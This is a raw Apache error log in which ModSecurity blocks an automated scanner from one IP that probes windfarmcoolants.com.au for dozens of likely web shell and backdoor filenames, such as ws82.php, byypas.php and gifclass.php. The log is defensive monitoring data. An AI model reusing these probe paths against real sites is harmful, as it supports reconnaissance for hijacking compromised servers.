[Sun Apr 19 22:26:26.757704 2026] [:error] [pid 47772:tid 47797] [client 20.166.83.47:43835] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aeTmEoc0L16cb4smAz_ScwAAAAg"]
[Sun Apr 19 22:26:28.422961 2026] [:error] [pid 15694:tid 15740] [client 20.166.83.47:43791] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "aeTmFLimB-jol1fwqAoWBQAAAY4"]
[Sun Apr 19 22:26:30.806619 2026] [:error] [pid 47772:tid 47811] [client 20.166.83.47:48200] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "aeTmFoc0L16cb4smAz_ShQAAABY"]
[Sun Apr 19 22:26:33.376009 2026] [:error] [pid 15764:tid 15829] [client 20.166.83.47:34542] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "aeTmGWLL_sqdSHoVp-Qw2QAAAkM"]
[Sun Apr 19 22:26:34.455660 2026] [:error] [pid 15760:tid 15774] [client 20.166.83.47:34529] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "aeTmGvSdD_XHQMJ_IStR2QAAAcY"]
[Sun Apr 19 22:26:35.565309 2026] [:error] [pid 47775:tid 47847] [client 20.166.83.47:34524] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "aeTmG7mztjlk9tsmoewiQwAAAIQ"]
[Sun Apr 19 22:26:37.562530 2026] [:error] [pid 15764:tid 15844] [client 20.166.83.47:34982] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "aeTmHWLL_sqdSHoVp-Qw4gAAAlI"]
[Sun Apr 19 22:26:39.375506 2026] [:error] [pid 47772:tid 47808] [client 20.166.83.47:29112] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "aeTmH4c0L16cb4smAz_SjwAAABM"]
[Sun Apr 19 22:26:40.723765 2026] [:error] [pid 47772:tid 47799] [client 20.166.83.47:3856] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "aeTmIIc0L16cb4smAz_SnAAAAAo"]
[Sun Apr 19 22:26:42.597155 2026] [:error] [pid 47772:tid 47802] [client 20.166.83.47:25609] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeTmIoc0L16cb4smAz_SqwAAAA0"]
[Sun Apr 19 22:26:44.626666 2026] [:error] [pid 47775:tid 47850] [client 20.166.83.47:3185] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeTmJLmztjlk9tsmoewiSwAAAIc"]
[Sun Apr 19 22:26:46.369097 2026] [:error] [pid 15764:tid 15842] [client 20.166.83.47:45586] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeTmJmLL_sqdSHoVp-Qw7QAAAlA"]
[Sun Apr 19 22:26:47.886570 2026] [:error] [pid 15763:tid 15813] [client 20.166.83.47:45961] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeTmJ7MXv1Y1THOoxaALVwAAAhE"]
[Sun Apr 19 22:26:49.427700 2026] [:error] [pid 47772:tid 47803] [client 20.166.83.47:32147] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aeTmKYc0L16cb4smAz_SswAAAA4"]
[Sun Apr 19 22:26:51.170305 2026] [:error] [pid 47775:tid 47855] [client 20.166.83.47:46735] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aeTmK7mztjlk9tsmoewiWAAAAIw"]
[Sun Apr 19 22:26:52.269191 2026] [:error] [pid 47775:tid 47857] [client 20.166.83.47:26849] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aeTmLLmztjlk9tsmoewiWwAAAI4"]
[Sun Apr 19 22:26:53.165102 2026] [:error] [pid 15763:tid 15819] [client 20.166.83.47:27993] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aeTmLbMXv1Y1THOoxaALXQAAAhc"]
[Sun Apr 19 22:26:54.150588 2026] [:error] [pid 47773:tid 47840] [client 20.166.83.47:42453] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeTmLuiBHdnCJDuPq9BREAAAAFg"]
[Sun Apr 19 22:26:57.730950 2026] [:error] [pid 15764:tid 15836] [client 20.166.83.47:29496] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeTmMWLL_sqdSHoVp-QxBwAAAko"]
[Sun Apr 19 22:27:01.116332 2026] [:error] [pid 15760:tid 15778] [client 20.166.83.47:3629] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeTmNfSdD_XHQMJ_IStSCgAAAco"]
[Sun Apr 19 22:27:05.864501 2026] [:error] [pid 15763:tid 15817] [client 20.166.83.47:35336] File does not exist: /usr/local/apache/htdocs/suspended-page/ws48.php
[Sun Apr 19 22:27:06.115737 2026] [:error] [pid 15763:tid 15799] [client 20.166.83.47:35336] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-the.php
[Sun Apr 19 22:27:06.379961 2026] [:error] [pid 15763:tid 15802] [client 20.166.83.47:35336] File does not exist: /usr/local/apache/htdocs/suspended-page/wp5.php
[Sun Apr 19 22:27:06.633097 2026] [:error] [pid 15763:tid 15804] [client 20.166.83.47:35336] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Sun Apr 19 22:27:06.888327 2026] [:error] [pid 15763:tid 15813] [client 20.166.83.47:35336] File does not exist: /usr/local/apache/htdocs/suspended-page/wen.php
[Sun Apr 19 22:27:07.141564 2026] [:error] [pid 15763:tid 15812] [client 20.166.83.47:35336] File does not exist: /usr/local/apache/htdocs/suspended-page/bnm.php
[Sun Apr 19 22:27:07.725601 2026] [:error] [pid 15763:tid 15816] [client 20.166.83.47:35336] File does not exist: /usr/local/apache/htdocs/suspended-page/byypas.php
[Sun Apr 19 22:27:08.005590 2026] [:error] [pid 15763:tid 15797] [client 20.166.83.47:35336] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Sun Apr 19 22:27:08.269057 2026] [:error] [pid 15763:tid 15809] [client 20.166.83.47:35336] File does not exist: /usr/local/apache/htdocs/suspended-page/grsiuk.php
[Sun Apr 19 22:27:08.548309 2026] [:error] [pid 15763:tid 15819] [client 20.166.83.47:35336] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeTmPLMXv1Y1THOoxaALigAAAhc"]
[Sun Apr 19 22:27:11.624802 2026] [:error] [pid 47773:tid 47839] [client 20.166.83.47:31771] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeTmP-iBHdnCJDuPq9BRMAAAAFc"]
[Sun Apr 19 22:27:17.784544 2026] [:error] [pid 47886:tid 47905] [client 20.166.83.47:27559] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeTmRUSe8yiyuPrD7yOCGQAAANE"]
[Sun Apr 19 22:27:21.912140 2026] [:error] [pid 47772:tid 47798] [client 20.166.83.47:31400] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "aeTmSYc0L16cb4smAz_TAQAAAAk"]
[Sun Apr 19 22:27:23.719015 2026] [:error] [pid 15764:tid 15827] [client 20.166.83.47:35364] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeTmS2LL_sqdSHoVp-QxHwAAAkE"]
[Sun Apr 19 22:27:24.899901 2026] [:error] [pid 15694:tid 15737] [client 20.166.83.47:3715] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeTmTLimB-jol1fwqAoWKAAAAYs"]
[Sun Apr 19 22:27:26.014199 2026] [:error] [pid 15764:tid 15833] [client 20.166.83.47:35386] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeTmTmLL_sqdSHoVp-QxJAAAAkc"]
[Sun Apr 19 22:27:27.358023 2026] [:error] [pid 47886:tid 47897] [client 20.166.83.47:31040] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "aeTmT0Se8yiyuPrD7yOCHQAAAMk"]
[Sun Apr 19 22:27:28.594934 2026] [:error] [pid 15763:tid 15811] [client 20.166.83.47:46368] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeTmULMXv1Y1THOoxaALogAAAg8"]
[Sun Apr 19 22:27:30.282343 2026] [:error] [pid 47772:tid 47809] [client 20.166.83.47:31388] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeTmUoc0L16cb4smAz_TGgAAABQ"]
[Sun Apr 19 22:27:32.102597 2026] [:error] [pid 47772:tid 47812] [client 20.166.83.47:31792] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeTmVIc0L16cb4smAz_THAAAABc"]
[Sun Apr 19 22:27:33.623596 2026] [:error] [pid 47772:tid 47789] [client 20.166.83.47:45896] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/domains.php"] [unique_id "aeTmVYc0L16cb4smAz_TIQAAAAA"]
[Sun Apr 19 22:27:35.069634 2026] [:error] [pid 15763:tid 15820] [client 20.166.83.47:3745] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeTmV7MXv1Y1THOoxaALsQAAAhg"]
[Sun Apr 19 22:27:36.555007 2026] [:error] [pid 47775:tid 47859] [client 20.166.83.47:31804] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeTmWLmztjlk9tsmoewicQAAAJA"]
[Sun Apr 19 22:27:37.891501 2026] [:error] [pid 15764:tid 15835] [client 20.166.83.47:39389] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeTmWWLL_sqdSHoVp-QxMQAAAkk"]
[Sun Apr 19 22:27:38.900885 2026] [:error] [pid 47775:tid 47847] [client 20.166.83.47:31061] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aeTmWrmztjlk9tsmoewieQAAAIQ"]
[Sun Apr 19 22:27:39.951053 2026] [:error] [pid 15764:tid 15828] [client 20.166.83.47:46350] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeTmW2LL_sqdSHoVp-QxOAAAAkI"]
[Sun Apr 19 22:27:41.032846 2026] [:error] [pid 47775:tid 47846] [client 20.166.83.47:3733] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeTmXbmztjlk9tsmoewifgAAAIM"]
[Sun Apr 19 22:27:42.424703 2026] [:error] [pid 47775:tid 47844] [client 20.166.83.47:38874] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeTmXrmztjlk9tsmoewigQAAAIE"]
[Sun Apr 19 22:27:44.080874 2026] [:error] [pid 47773:tid 47832] [client 20.166.83.47:46362] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aeTmYOiBHdnCJDuPq9BRawAAAFA"]
[Sun Apr 19 22:27:45.944479 2026] [:error] [pid 47775:tid 47858] [client 20.166.83.47:22515] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeTmYbmztjlk9tsmoewihgAAAI8"]
[Sun Apr 19 22:27:47.829372 2026] [:error] [pid 47886:tid 47910] [client 20.166.83.47:31757] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeTmY0Se8yiyuPrD7yOCJgAAANY"]
[Sun Apr 19 22:27:49.769770 2026] [:error] [pid 15693:tid 15700] [client 20.166.83.47:30622] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeTmZcNMD-ccazQlTslh3wAAAUQ"]
[Sun Apr 19 22:27:52.694188 2026] [:error] [pid 15760:tid 15773] [client 20.166.83.47:31089] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeTmaPSdD_XHQMJ_IStSIQAAAcU"]
[Sun Apr 19 22:27:54.457994 2026] [:error] [pid 47775:tid 47843] [client 20.166.83.47:3772] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeTmarmztjlk9tsmoewijwAAAIA"]
[Sun Apr 19 22:27:57.773472 2026] [:error] [pid 15763:tid 15796] [client 20.166.83.47:24551] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeTmbbMXv1Y1THOoxaAL0gAAAgA"]
[Sun Apr 19 22:28:00.203843 2026] [:error] [pid 47886:tid 47890] [client 20.166.83.47:50622] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeTmcESe8yiyuPrD7yOCTwAAAMI"]
[Sun Apr 19 22:28:02.290040 2026] [:error] [pid 47886:tid 47898] [client 20.166.83.47:22850] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aeTmckSe8yiyuPrD7yOCUwAAAMo"]
[Sun Apr 19 22:28:04.032179 2026] [:error] [pid 47772:tid 47800] [client 20.166.83.47:31374] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeTmdIc0L16cb4smAz_TNAAAAAs"]
[Sun Apr 19 22:28:05.896223 2026] [:error] [pid 47886:tid 47896] [client 20.166.83.47:3714] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeTmdUSe8yiyuPrD7yOCVwAAAMg"]
[Sun Apr 19 22:28:08.108454 2026] [:error] [pid 15760:tid 15787] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/ws57.php
[Sun Apr 19 22:28:09.044387 2026] [:error] [pid 15760:tid 15773] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/8573.php
[Sun Apr 19 22:28:09.313341 2026] [:error] [pid 15760:tid 15775] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/ws66.php
[Sun Apr 19 22:28:09.583364 2026] [:error] [pid 15760:tid 15786] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/66.php
[Sun Apr 19 22:28:10.250415 2026] [:error] [pid 15760:tid 15770] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-p2r3q9c8k4.php
[Sun Apr 19 22:28:10.520089 2026] [:error] [pid 15760:tid 15778] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Sun Apr 19 22:28:10.789731 2026] [:error] [pid 15760:tid 15784] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/mode.php
[Sun Apr 19 22:28:11.059102 2026] [:error] [pid 15760:tid 15768] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/set.php
[Sun Apr 19 22:28:11.328409 2026] [:error] [pid 15760:tid 15789] [client 20.166.83.47:39392] File does not exist: /usr/local/apache/htdocs/suspended-page/hroxw.php
